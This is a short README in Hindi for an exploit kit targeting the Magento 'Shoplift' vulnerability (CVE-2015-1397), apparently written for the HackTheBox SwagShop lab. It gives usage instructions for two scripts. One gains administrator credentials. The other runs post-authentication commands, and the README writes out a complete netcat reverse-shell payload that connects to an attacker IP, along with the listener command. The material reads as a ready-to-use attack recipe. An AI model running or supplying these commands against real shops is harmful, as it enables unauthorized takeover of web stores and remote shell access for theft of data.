CVE-2015-1397-Magento-Shoplift

भेद्यता विवरण

HackTheBox - SwagShop में देखी गई भेद्यता

चरण 1 = exploit.py

Magento CMS डैशबोर्ड के लिए एडमिनिस्ट्रेटर क्रेडेंशियल प्राप्त करें

चरण 2 = post_auth.py

exploit.py से प्राप्त क्रेडेंशियल्स को post_auth.py में जोड़कर यह चलाएँ:

python3 post_auth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f"

लिसनर:

nc -lvnp 4444